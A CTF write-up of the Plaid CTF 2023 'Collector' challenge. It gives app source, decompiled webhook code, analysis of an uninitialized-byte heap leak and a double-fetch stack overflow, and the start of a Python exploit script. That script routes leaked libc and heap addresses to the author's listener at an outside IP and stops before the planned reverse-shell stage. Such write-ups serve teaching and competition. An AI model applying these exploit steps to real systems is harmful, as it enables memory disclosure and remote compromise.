Contents

Plaid CTF 2023

https://i.imgur.com/KDgTifd.jpg
Plaid CTF 2023

Last weekend, I played with the Blue Water team in the Plaid CTF 2023. We had the honor of not only competing but also securing first place in this prestigious event. It was an intense and exciting competition, and we all put our skills to the test. A huge shoutout and thanks to my awesome teammates for their fantastic teamwork during the Plaid CTF 2023!

https://i.imgur.com/AuYDr66.png
We secured the first place

One of the pwn challenges that we were able to tackle was called “Collector.” Remarkably, we were the team that first blooded this particular challenge, and we remained the only team to successfully solve it. In this blog post, I’ll be walking you through our approach to this challenge and how we managed to crack it.

https://i.imgur.com/MsI4S8g.png
We first blooded the challenge and remained the only team to successfully solve it

Pwn

Collector

Description
Shiver me timbers! We shan’t be running you a rig here. The scuttlebut be that the greatest booty in all the land be ready and waiting to barter. Bring yer coin ye scurvy dog and make off with enough gear to make yer husband, yer kids, and yer parrot into right swashbucklers.

Initial Analysis

For this challenge, we were provided with a .tgz file containing the docker and challenge sources. In summary, the challenge consisted of four containers that needed to be spawned:

  • web
  • webhook
  • maindb
  • workerdb

Each container had its own responsibilities, but to summarize:

  • maindb is the master db that is used by the container web.
  • workerdb is the replica db that is used by the container webhook.
    • The WAL replication that is used is replica or streaming replication (based on the postgresql maindb config in the given file).
  • web is the main container that we interacted with (the website interface + the API)
  • webhook is a container that will be used by the web to handle one of the API call that we can use (we will discuss this later).

After reviewing the maindb schema, we found that a total of seven tables had been created:

  • hooks
  • items
  • market
  • initial_inventory
  • inventory
  • users
  • flag

As it turned out, our flag was stored within the flag table, which meant that our ultimate objective was to find a way to interact with the table and extract its contents.

Our next step was to inspect the web container, starting with a review of the routes/index.tsxsource code. This file contained the primary API logic that we needed to interact with.

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
import { create } from "domain";
import { createEffect, createRenderEffect, createSignal, For, onCleanup, Show } from "solid-js";
import { FormError, useRouteData } from "solid-start";
import {
  createServerAction$,
  createServerData$,
  redirect,
} from "solid-start/server";
import sql from "~/db";
import { getUser, getUserSession, logout, requireUserId } from "~/db/session";
import * as fs from 'node:fs/promises';
import { requestHook } from "~/db/hook";
import { Form } from "solid-start/data/Form";
import toast from "solid-toast";

const COIN_ID = '0';

type MarketItem = {
  id: string,
  name: string,
  kind: string,
  bid_price: number | null,
  ask_price: number | null,
  bid_size: number | null,
  ask_size: number | null,
};

type RouteData = {
  userId: string,
  market: MarketItem[],
  inventory: { [item_id: string]: number },
  watchedItems: string[]
}

export function routeData() {
  return createServerData$<RouteData>(async (_, { request }) => {
    const userId = await requireUserId(request);


    const markets = await sql`
      SELECT kind, name, items.id, bid_price, bid_size, ask_price, ask_size FROM items
      LEFT JOIN market ON market.item_id = items.id
      ORDER BY items.id ASC
    `;

    const inventory = await sql`
      SELECT item_id, count FROM inventory
      WHERE user_id = ${userId}
        AND count > 0
    `;
    const inventoryDict = Object.fromEntries(inventory.map(x => [x.item_id, Number(x.count)]));

    const watching = await sql`
      SELECT DISTINCT kind FROM hooks
      WHERE user_id = ${userId}
    `;

    function stringnum(x: string | null): number | null {
      if (x) return Number(x);
      else return null;
    }

    const marketArray = markets.map(({ id, name, kind, bid_price, ask_price, bid_size, ask_size }) => {
      return {
        id,
        kind,
        name,
        bid_price: stringnum(bid_price),
        bid_size: stringnum(bid_size),
        ask_price: stringnum(ask_price),
        ask_size: stringnum(ask_size),
      }
    });

    return {
      userId,
      market: marketArray,
      inventory: inventoryDict,
      watchedItems: watching.map(x => x.kind)
    };
  });
}

export default function Home() {
  const data = useRouteData<typeof routeData>();
  const [, { Form: LogoutForm }] = createServerAction$((f: FormData, { request }) =>
    logout(request)
  );

  const [transacting, { Form: Transact }] = createServerAction$(async (f: FormData, { request }) => {
    const userId = await requireUserId(request);

    const action = f.get('action');

    if (action === 'buy' || action === 'sell') {
      const item = f.get('item');
      const size = f.get('size');
      if (typeof item !== 'string' || typeof size !== 'string') {
        throw new FormError('Bad submission');
      }

      const dirsign = action === 'buy' ? 1 : -1;
      const tradewith = action === 'buy' ? 'ask' : 'bid';
      const signedSize = dirsign * Number(size);

      try {
        await sql.begin(async (sql) => {
          await sql`
            INSERT INTO inventory (user_id, item_id, count)
            VALUES (${userId}, ${item}, 0)
            ON CONFLICT (user_id, item_id) DO NOTHING
          `;

          await sql`
          WITH current_market AS (
            UPDATE market
            SET ${sql(`${tradewith}_size`)} = ${sql(`${tradewith}_size`)} - ${size}
            WHERE item_id = ${item}
            RETURNING ${sql(`${tradewith}_price`)} as price
          )
          UPDATE inventory
          SET count = count - ${signedSize} * price
          FROM current_market
          WHERE item_id = ${COIN_ID} AND user_id = ${userId}
          `;

          await sql`
            UPDATE inventory
            SET count = count + ${signedSize}
            WHERE item_id = ${item} AND user_id = ${userId}
          `;
        });
      } catch (e) {
        throw new FormError(`You are no longer able to ${action} that item`);
      }

      return redirect('/');
    } else if (action === 'watch') {
      const target = f.get('url');
      const kind = f.get('kind');
      const secret = f.get('secret');
      if (typeof target !== 'string' || typeof kind !== 'string'
        || typeof secret !== 'string') {
        throw new FormError('Bad submission');
      }

      if (!/^[0-9]+$/.exec(secret)) {
        throw new FormError('Unable to start watching',
          { fieldErrors: { secret: 'Secret must be a number' } });
      }


      try {
        const newId = await sql`
          INSERT INTO hooks(user_id, kind, target, secret)
          VALUES (${userId}, ${kind}, ${target}, ${secret})
          RETURNING id
        `;

        return redirect(`/?watchId=${newId[0]!.id}`);
      } catch (e) {
        throw new FormError('Unable to watch that item')
      }
    } else if (action === 'unwatch') {
      const kind = f.get('kind');
      const hookId = f.get('id');

      if (typeof kind !== 'string' || (hookId && typeof hookId !== 'string')) {
        throw new FormError('Bad submission');
      }

      const hookFilter = hookId ? sql`id = ${hookId}` : sql`TRUE`;

      await sql`
        DELETE FROM hooks
        WHERE user_id = ${userId} AND kind = ${kind} AND ${hookFilter}
      `;

      return redirect('/');
    } else if (action === 'notify') {
      const kind = f.get('kind');
      if (typeof kind !== 'string') {
        throw new FormError('Bad submission');
      }

      if (await requestHook() !== 'can-hook')
        throw new FormError('Unable to notify at this time');

      const data = new URLSearchParams();
      data.append('kind', kind);
      for (const [key, value] of f.entries()) {
        if (typeof value !== 'string') throw new FormError('Bad submission');
        if (key === 'kind' || key === 'action') continue;
        data.append(key, value);
      }

      try {
        await fs.appendFile('/queue/hook', data.toString() + '\n');
      } catch (e) {
        throw new FormError('Unable to trigger the notification');
      }

      return redirect('/');
    } else {
      throw new FormError('Action is not implemented');
    }
  });

  const inventoryCount = (item_id: string) =>
    data()?.inventory?.[item_id] ?? 0;

  createEffect(() => {
    if (transacting.error) toast.error(transacting.error.message);
  });

  const notifyingItem = () =>
    transacting.input?.get('action') === 'notify';

  // TODO: progressively enhanced responses

  return (
    <main>
      <div class="markets">
        <For each={data()?.market}>
          {(it) => {
            const transactingHere = () =>
              transacting.input?.get('item') === it.id ? transacting : undefined;

            const transactingWatch = () =>
              (['watch', 'unwatch'] as unknown[]).includes(transactingHere()?.input?.get('action'));

            const [watchOverlayShown, showWatchOverlay] = createSignal(
              transactingWatch() && transactingHere()?.pending);

            const watchingItem = () => data()?.watchedItems.includes(it.kind);

            // hide or show the overlay based on whether we succeeded in watching
            createEffect(() => {
              if (transactingHere()?.pending === true && transactingWatch()) {
                onCleanup(() => {
                  if (!transactingHere()?.error) showWatchOverlay(false);
                });
              }
              if (transactingHere()?.pending === true && notifyingItem()) {
                onCleanup(() => {
                  if (!transactingHere()?.error) toast(`Notified watchers of ${it.name}`);
                });
              }
            });

            return <Transact>
              <div class="market">
                <input type="hidden" name="size" value="1" />
                <input type="hidden" name="item" value={it.id} />
                <input type="hidden" name="kind" value={it.kind} />
                <div class="image">
                  <img src={`items/${it.kind}.png`} />
                </div>
                <div class="item-name">
                  {it.name} ({inventoryCount(it.id)})
                </div>
                <div class="market-actions">
                  <button type="submit" name="action" value="buy" class="buy"
                    disabled={!(it.ask_price
                      && (it.ask_size ?? 0) > 0 && inventoryCount(COIN_ID) >= it.ask_price)}>
                    Buy {it.ask_price && `(${it.ask_price}g)`}
                  </button>
                  <button type="submit" name="action" value="sell" class="sell"
                    disabled={!(it.bid_price && (it.bid_size ?? 0) > 0
                      && inventoryCount(it.id) > 0)} >
                    Sell {it.bid_price && `(${it.bid_price}g)`}
                  </button>
                </div>
                <button class="notify-button" name="action" value="notify"
                  disabled={notifyingItem()}
                ></button>
                <div class="watch-overlay" classList={{ shown: watchOverlayShown() }}>
                  <button class="watch-button"
                    onClick={() => showWatchOverlay(!watchOverlayShown())} type="button">{
                      watchingItem() ? '✅' : '👀'
                    }</button>
                  <Show when={watchOverlayShown()}>
                    <Show when={!watchingItem()}>
                      <input type="text" name="url" placeholder="URL" />
                      <Show when={transacting.error?.fieldErrors?.url}>
                        <p role="alert">{transacting.error.fieldErrors.url}</p>
                      </Show>
                      <input type="text" name="secret" placeholder="Secret" />
                      <Show when={transacting.error?.fieldErrors?.secret}>
                        <p role="alert">{transacting.error.fieldErrors.secret}</p>
                      </Show>
                      <button type="submit" name="action" value="watch">Watch</button>
                    </Show>
                    <Show when={watchingItem()}>
                      <button type="submit" name="action" value="unwatch">Stop watching</button>
                    </Show>
                  </Show>
                </div>
              </div>
            </Transact>
          }}
        </For>
      </div >

      <LogoutForm>
        <button name="logout" type="submit">
          Logout
        </button>
      </LogoutForm>
    </main >
  );
}

Moving on, we decided to ignore the buy and sell actions since they weren’t relevant to our objective. Instead, we focused on breaking down the remaining actions one by one:

  • watch
    • This action was used to populate the hooks table. Interestingly, we discovered that we could set the kind, url, and secret values to any values we wanted.
  • unwatch
    • As the name suggests, this action was used to delete certain entries from the hooks table.
  • notify
    • This was the action where the web container would interact with the webhook container. Specifically, the web container would append the kind value that we had set during our call to this API to the shared file located at /queue/hook. Later on, this file would be processed by the webhook container.

Our next step was to check out the webhook container. We were only provided with the binary file for webhook, which was an aarch64 file. Before we could proceed, we needed to disassemble it first (Thanks to my teammate sampriti who provided the clean idb which helps us a lot on understanding the decompiled code).

main

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
int __cdecl main(int argc, const char **argv, const char **envp)
{
  FILE *v3; // x19
  const char *v4; // x0
  __int64 v5; // x0
  char v7[8192]; // [xsp+20h] [xbp-4060h] BYREF
  char v8[8192]; // [xsp+2020h] [xbp-2060h] BYREF
  _QWORD v9[6]; // [xsp+4020h] [xbp-60h] BYREF
  int v10; // [xsp+4050h] [xbp-30h] BYREF
  int v11; // [xsp+4054h] [xbp-2Ch]
  size_t v12; // [xsp+4058h] [xbp-28h]
  FILE *stream; // [xsp+4060h] [xbp-20h]
  __pid_t v14; // [xsp+4068h] [xbp-18h]
  int v15; // [xsp+406Ch] [xbp-14h]
  __int64 conn; // [xsp+4070h] [xbp-10h]
  int v18; // [xsp+407Ch] [xbp-4h]

  v18 = 1;
  if ( curl_global_init() )
  {
    fwrite("Failed to initialize curl\n", 1uLL, 0x1AuLL, stderr);
  }
  else
  {
    conn = PQconnectdb("dbname=postgres host=workerdb user=webhook");
    if ( PQstatus(conn) == 1 )
    {
      v3 = stderr;
      v4 = PQerrorMessage(conn);
      fprintf(v3, "Failed to connect to database: %s\n", v4);
    }
    else
    {
      v15 = open("/queue/hook", 0x241, 0x1A4LL);
      if ( v15 == -1 )
      {
        perror("Failed to initialize action queue");
      }
      else
      {
        close(v15);
        v9[0] = off_141A0[0];
        v9[1] = off_141A0[1];
        v9[2] = off_141A0[2];
        v9[3] = off_141A0[3];
        v9[4] = off_141A0[4];
        v9[5] = *algn_141C8;
        v14 = popen2(v9, &v10);
        if ( v14 >= 0 )
        {
          stream = fdopen(v10, "r");
          if ( stream )
          {
            while ( fgets(v8, 0x2000, stream) )
            {
              v12 = strlen(v8);
              if ( v8[v12 - 1] == 10 )
              {
                v8[v12 - 1] = 0;
              }
              else
              {
                do
                  v11 = fgetc(stream);
                while ( v11 != 10 && v11 != -1 );
              }
              if ( __isoc99_sscanf(v8, "kind=%[^&]", v7) == 1 )
                perform_hooks(conn, v8, v7);
            }
            v18 = 0;
            fclose(stream);
          }
          else
          {
            perror("Unable to read actions");
            close(v10);
          }
          kill(v14, 15);
          waitpid(v14, 0LL, 0);
        }
        else
        {
          perror("Unable to read actions");
        }
      }
    }
    v5 = PQfinish(conn);
    curl_global_cleanup(v5);
  }
  return v18;
}

After reviewing the main file, we learned that it would perform the following actions:

  • Establish a connection with the workerdb (replica db).
  • Attempt to fetch the kind value that had been appended by the web container when we called the notify API, and then call perform_hooks.

Our next step was to disassemble the perform_hooks function.

perform_hooks

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
__int64 __fastcall perform_hooks(__int64 conn, char *qs, const char *kind)
{
  FILE *v3; // x19
  const char *v4; // x20
  const char *v5; // x0
  __int64 result; // x0
  _QWORD *v7; // x0
  void *v8; // x0
  void *v9; // x19
  const void *v10; // x0
  _QWORD *v11; // x0
  __int64 v12; // x0
  int v13; // w0
  __int64 v14; // x0
  __int64 v15[29]; // [xsp+0h] [xbp+0h] BYREF
  const char *kind_; // [xsp+E8h] [xbp+E8h] BYREF
  char *qs_; // [xsp+F0h] [xbp+F0h]
  __int64 conn_; // [xsp+F8h] [xbp+F8h]
  __int64 v19; // [xsp+108h] [xbp+108h] BYREF
  char *qs__; // [xsp+110h] [xbp+110h] BYREF
  __int64 v21; // [xsp+118h] [xbp+118h]
  size_t qs_len; // [xsp+120h] [xbp+120h]
  size_t n; // [xsp+128h] [xbp+128h]
  int v24; // [xsp+130h] [xbp+130h]
  int v25; // [xsp+134h] [xbp+134h]
  int v26; // [xsp+138h] [xbp+138h]
  int v27; // [xsp+13Ch] [xbp+13Ch]
  __int64 headers; // [xsp+140h] [xbp+140h]
  __int64 v29; // [xsp+148h] [xbp+148h]
  __int64 v30; // [xsp+150h] [xbp+150h]
  int v31; // [xsp+158h] [xbp+158h]
  int v32; // [xsp+15Ch] [xbp+15Ch]
  int v33; // [xsp+160h] [xbp+160h]
  int v34; // [xsp+164h] [xbp+164h]
  int v35; // [xsp+168h] [xbp+168h]
  int v36; // [xsp+16Ch] [xbp+16Ch]
  int v37; // [xsp+170h] [xbp+170h]
  int v38; // [xsp+174h] [xbp+174h]
  __int64 v39; // [xsp+178h] [xbp+178h]
  __int64 *resp_headers; // [xsp+180h] [xbp+180h]
  __int64 v41; // [xsp+188h] [xbp+188h]
  __int64 *targets; // [xsp+190h] [xbp+190h]
  __int64 v43; // [xsp+198h] [xbp+198h]
  __int64 *secrets; // [xsp+1A0h] [xbp+1A0h]
  __int64 v45; // [xsp+1A8h] [xbp+1A8h]
  void *v46; // [xsp+1B0h] [xbp+1B0h]
  size_t num_hooks; // [xsp+1B8h] [xbp+1B8h]
  int i; // [xsp+1C0h] [xbp+1C0h]
  int j; // [xsp+1C4h] [xbp+1C4h]
  int k; // [xsp+1C8h] [xbp+1C8h]
  int m; // [xsp+1CCh] [xbp+1CCh]

  conn_ = conn;
  qs_ = qs;
  kind_ = kind;
  qs__ = qs;
  v21 = 0LL;
  qs_len = strlen(qs);
  num_hooks = 5LL;
  v46 = PQexecParams(conn_, "SELECT count(kind) FROM hooks WHERE kind = $1", 1LL, 0LL, &kind_, 0LL, 0LL, 1LL);
  if ( PQresultStatus(v46) != 2 )
    goto LABEL_2;
  v7 = PQgetvalue(v46, 0, 0);
  num_hooks = byteswap64(*v7);
  PQclear(v46);
  if ( num_hooks > 0xA )
  {
    fprintf(stderr, "too many hooks (%zu) for kind %s\n", num_hooks, kind_);
    num_hooks = 10LL;
  }
  v46 = PQexecParams(
          conn_,
          "SELECT target, secret FROM hooks WHERE kind = $1 ORDER BY target LIMIT 10",
          1LL,
          0LL,
          &kind_,
          0LL,
          0LL,
          1LL);
  if ( PQresultStatus(v46) == 2 )
  {
    v45 = num_hooks - 1;
    v15[22] = num_hooks;
    v15[23] = 0LL;
    v15[27] = num_hooks >> 58;
    v15[26] = num_hooks << 6;
    v15[20] = num_hooks;
    v15[21] = 0LL;
    v15[25] = num_hooks >> 58;
    v15[24] = num_hooks << 6;
    secrets = v15;
    v43 = num_hooks - 1;
    v15[18] = num_hooks;
    v15[19] = 0LL;
    v15[16] = num_hooks;
    v15[17] = 0LL;
    targets = v15;
    v41 = num_hooks - 1;
    v15[14] = num_hooks;
    v15[15] = 0LL;
    v15[12] = num_hooks;
    v15[13] = 0LL;
    resp_headers = v15;
    for ( i = 0; ; ++i )
    {
      v13 = PQntuples(v46);
      if ( i >= v13 )
        break;
      n = PQgetlength(v46, i, 0LL);
      v8 = malloc(n + 1);
      targets[i] = v8;
      v9 = targets[i];
      v10 = PQgetvalue(v46, i, 0);
      memcpy(v9, v10, n);
      v11 = PQgetvalue(v46, i, 1);
      v12 = byteswap64(*v11);
      secrets[i] = v12;
    }
    v14 = PQclear(v46);
    result = curl_easy_init(v14);
    v39 = result;
    if ( result )
    {
      v38 = 20012;
      curl_easy_setopt(v39, 20012LL, upload_bytes_function);// CURLOPT_READFUNCTION
      v37 = 10009;
      curl_easy_setopt(v39, 10009LL, &qs__);    // CURLOPT_READDATA
      v36 = 47;
      curl_easy_setopt(v39, 47LL, 1LL);         // CURLOPT_POST
      v35 = 10015;
      curl_easy_setopt(v39, 10015LL, 0LL);      // CURLOPT_POSTFIELDS
      v34 = 60;
      curl_easy_setopt(v39, 60LL, qs_len);      // CURLOPT_POSTFIELDSIZE
      v33 = 20011;
      curl_easy_setopt(v39, 20011LL, ignore_response_function);// CURLOPT_WRITEFUNCTION
      v32 = 10238;
      curl_easy_setopt(v39, 10238LL, "http");   // CURLOPT_DEFAULT_PROTOCOL
      v31 = 13;
      curl_easy_setopt(v39, 13LL, 3LL);         // CURLOPT_TIMEOUT
      for ( j = 0; num_hooks > j; ++j )
      {
        v30 = targets[j];
        v29 = secrets[j];
        headers = 0LL;
        headers = add_digest_header(0LL, qs_, v29);
        if ( !headers )
          __assert_fail("headers != NULL", "webhook.c", 0xADu, "perform_hooks");
        v27 = 10002;
        curl_easy_setopt(v39, 10002LL, v30);    // CURLOPT_URL
        v26 = 10023;
        curl_easy_setopt(v39, 10023LL, headers);// CURLOPT_HTTPHEADER
        v21 = 0LL;
        v25 = curl_easy_perform(v39);
        curl_slist_free_all(headers);
        if ( v25 )
        {
          resp_headers[j] = 0LL;
        }
        else
        {
          v24 = 0x200002;
          curl_easy_getinfo(v39, 0x200002LL, &v19);// CURLINFO_RESPONSE_CODE
          resp_headers[j] = v19;
        }
      }
      curl_easy_cleanup(v39);
      for ( k = 0; num_hooks > k; ++k )
        free(targets[k]);
      for ( m = 0; num_hooks > m; ++m )
      {
        result = resp_headers[m];
        if ( result == 200 )
          return result;
      }
      return fprintf(stderr, "all hooks failed for kind %s\n", kind_);
    }
  }
  else
  {
LABEL_2:
    v3 = stderr;
    v4 = kind_;
    v5 = PQerrorMessage(conn_);
    fprintf(v3, "unable to load hooks for kind %s: %s\n", v4, v5);
    return PQclear(v46);
  }
  return result;
}

What we discovered was that the perform_hooks function attempted to fetch rows from the hooks table that matched the kind value that had been previously fetched. From there, it would attempt to hit the stored target (url) that we had previously inserted via the watch function. As we dug deeper into the code, my teammates (cbmixx and kexplo1t) uncovered two bugs within this function:

Null-terminator bug

Let’s check this LOCs:

1
2
3
4
5
      v8 = malloc(n + 1);
      targets[i] = v8;
      v9 = targets[i];
      v10 = PQgetvalue(v46, i, 0);
      memcpy(v9, v10, n);

We observed that there was a bug present in which the last byte of the memory block created by the malloc(n+1) call was not cleared during the memcpy call. Specifically, the memcpy call only used the first n bytes, leaving the uninitialized last byte alone. If the uninitialized last byte was not null-terminator, then it was possible for the targets[i] value to be extended by the uninitialized value within the heap. As a result, we could potentially leak some useful values during the program’s use of curl to hit the targets[i] value.

To provide an example, let’s say that the targets[i] is http://test/?x=_. Due to the extra last byte not being cleared, there was a possibility that during the curl call, the targets[i] value could become http://test?x=_extradata. Therefore, we set up a listening server to capture incoming requests from the webhook, in the hopes that the extradata would contain some useful values.

Double-fetch bug

Let’s check this LOCs:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
  v46 = PQexecParams(conn_, "SELECT count(kind) FROM hooks WHERE kind = $1", 1LL, 0LL, &kind_, 0LL, 0LL, 1LL);
  if ( PQresultStatus(v46) != 2 )
    goto LABEL_2;
  v7 = PQgetvalue(v46, 0, 0);
  num_hooks = byteswap64(*v7);
  PQclear(v46);
  if ( num_hooks > 0xA )
  {
    fprintf(stderr, "too many hooks (%zu) for kind %s\n", num_hooks, kind_);
    num_hooks = 10LL;
  }
  v46 = PQexecParams(
          conn_,
          "SELECT target, secret FROM hooks WHERE kind = $1 ORDER BY target LIMIT 10",
          1LL,
          0LL,
          &kind_,
          0LL,
          0LL,
          1LL);
  if ( PQresultStatus(v46) == 2 )
  {
    v45 = num_hooks - 1;
    v15[22] = num_hooks;
    v15[23] = 0LL;
    v15[27] = num_hooks >> 58;
    v15[26] = num_hooks << 6;
    v15[20] = num_hooks;
    v15[21] = 0LL;
    v15[25] = num_hooks >> 58;
    v15[24] = num_hooks << 6;
    secrets = v15;
    v43 = num_hooks - 1;
    v15[18] = num_hooks;
    v15[19] = 0LL;
    v15[16] = num_hooks;
    v15[17] = 0LL;
    targets = v15;
    v41 = num_hooks - 1;
    v15[14] = num_hooks;
    v15[15] = 0LL;
    v15[12] = num_hooks;
    v15[13] = 0LL;
    resp_headers = v15;
    for ( i = 0; ; ++i )
    {
      v13 = PQntuples(v46);
      if ( i >= v13 )
        break;
      n = PQgetlength(v46, i, 0LL);
      v8 = malloc(n + 1);
      targets[i] = v8;
      v9 = targets[i];
      v10 = PQgetvalue(v46, i, 0);
      memcpy(v9, v10, n);
      v11 = PQgetvalue(v46, i, 1);
      v12 = byteswap64(*v11);
      secrets[i] = v12;
    }
...

It was important for us to note that a double-fetch bug was present within this code, which could trigger an OOB write in the stack. The first fetch involved using the SELECT COUNT(*) query to retrieve the number of rows, which was then stored within the num_hooks variable. This value was then used to allocate the size of both targets and secrets using alloca (Although it wasn’t immediately clear, based on our team’s observations, the strange operation involving v15 and num_hook was equivalent to alloca).

As a result of this, we realized that if we could produce a different result between the SELECT COUNT(*) and the SELECT target, secret queries (where num_hooks was smaller than the number of rows returned from the second query), then we could potentially overflow the stack. This was because the alloca size would be smaller due to the use of the num_hooks value. However, during the setup of the secrets[i] value, it used the PQntuples result to set up the values instead. Since the result was greater than num_hooks, it meant that we could potentially do an out-of-bounds (OOB) write in the stack.

Now that we have identified the bugs, our next step was to think about how to exploit them.

Solution

To tackle this challenge, we broke the solution down into three steps:

  • Obtaining useful leak values
  • Triggering the double-fetch bug
  • Obtaining a Reverse Shell through OOB Write

Obtaining useful leak values

To gain a better understanding of the heap layout within our local environment, I decided to spent a significant amount of time experimenting with the watch and notify APIs so that I could create a reliable POC to get the leak.

To start, I set up my own listening server to receive the curl request that was triggered by the webhook binary during the processing of the notify API. It’s important to note that this step was actually quite crucial, as different listening servers can produce different heap layouts. This is because libcurl also uses the heap during the reception of packets from your listening server, meaning that different code within your listening server can produce varying heap layouts.

Given my preference for efficiency, I decided to save some time and simply copied the listening server code from a Stack Overflow question :). From there, I made some minor modifications to the code to fit our specific needs.

After spending some time experimenting with the challenge, I managed to find a way to obtain a libc and heap leak (with a 50% chance, due to the buggy listening server code that I copied from Stack Overflow). Specifically, I called notify and attempted to force the malloc(n+1) call to reuse the same chunk address within the unsorted bin multiple times.

In order to achieve this scenario, I needed to call notify three separate times, each with an increasing size. The first allocation was utilized to set up the initial leak, which was subsequently freed and contained a main_arena address that we could leak in the next allocation.

For the second allocation, we utilized the uninitialized data from the previous allocation to leak the main_arena address, which was also subsequently freed and contained a heap address that we could leak in the next allocation.

Finally, the third allocation was used to leak the heap address, which was obtained from the uninitialized data within the previous allocation.

Here’s the code I used to obtain the leak:

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
import requests
from pwn import *
import os

base_url = 'http://c3cb0aa7-ebd9-45c8-9c3c-e7b4c1b96285.collector.chal.pwni.ng:20000'
login_url = f"{base_url}/_m/2e7970cbec/loggingIn"
transact_url = f"{base_url}/_m/34a106c003/transacting"

item_map = {
    "gold": "0",
    "bomb": "32",
    "rum": "4",
    "anchor": "5",
}

def create_user(username, password):
    print(f'create_user {username}')
    session = requests.Session()
    data = {
        "redirectTo": "/",
        "username": username,
        "password": password,
    }
    resp = session.post(login_url, data=data)
    print(resp.status_code)
    return session

def watch(kind, url, session):
    print(f'Watch {kind}')
    data = {
        "size": "1",
        "item": item_map[kind],
        "kind": kind,
        "url": url,
        "secret": "123",
        "action": "watch",
    }
    resp = session.post(transact_url, data=data)
    print(resp.status_code)

def unwatch(kind, session):
    print(f'Unwatch {kind}')
    data = {
        "kind": kind,
        "action": "unwatch",
    }
    resp = session.post(transact_url, data=data)
    print(resp.status_code)

def notify(kind, session):
    print(f'Notify {kind}')
    data = {
        "size": "1",
        "item": item_map[kind],
        "kind": kind,
        "action": "notify",
    }
    resp = session.post(transact_url, data=data)
    print(resp.status_code)


# Create 3 users
# random_hex = os.urandom(5).hex()
random_hex = 'd0bebc4a8f'
s1 = create_user(f"user1-{random_hex}", "user1")
s2 = create_user(f"user2-{random_hex}", "user2")
s3 = create_user(f"user3-{random_hex}", "user3")

# Clean up hooks db
print("unwatch...")
unwatch("gold", s1)
unwatch("gold", s2)
unwatch("gold", s3)
unwatch("bomb", s1)
unwatch("rum", s1)
unwatch("anchor", s1)

# Watch gold
# Length need to be 0x4ff
gold_url_1 = 'http://18.143.50.149:4/?x=__/plugins___________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________'

# Length need to be 0x43f
gold_url_2 = 'http://18.143.50.149:4/?x=__/plugins___________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________'
watch("gold", gold_url_1, s1)
watch("gold", gold_url_1, s2)
watch("gold", gold_url_2, s3)

# Watch bomb
# Length need to be 0x7d7
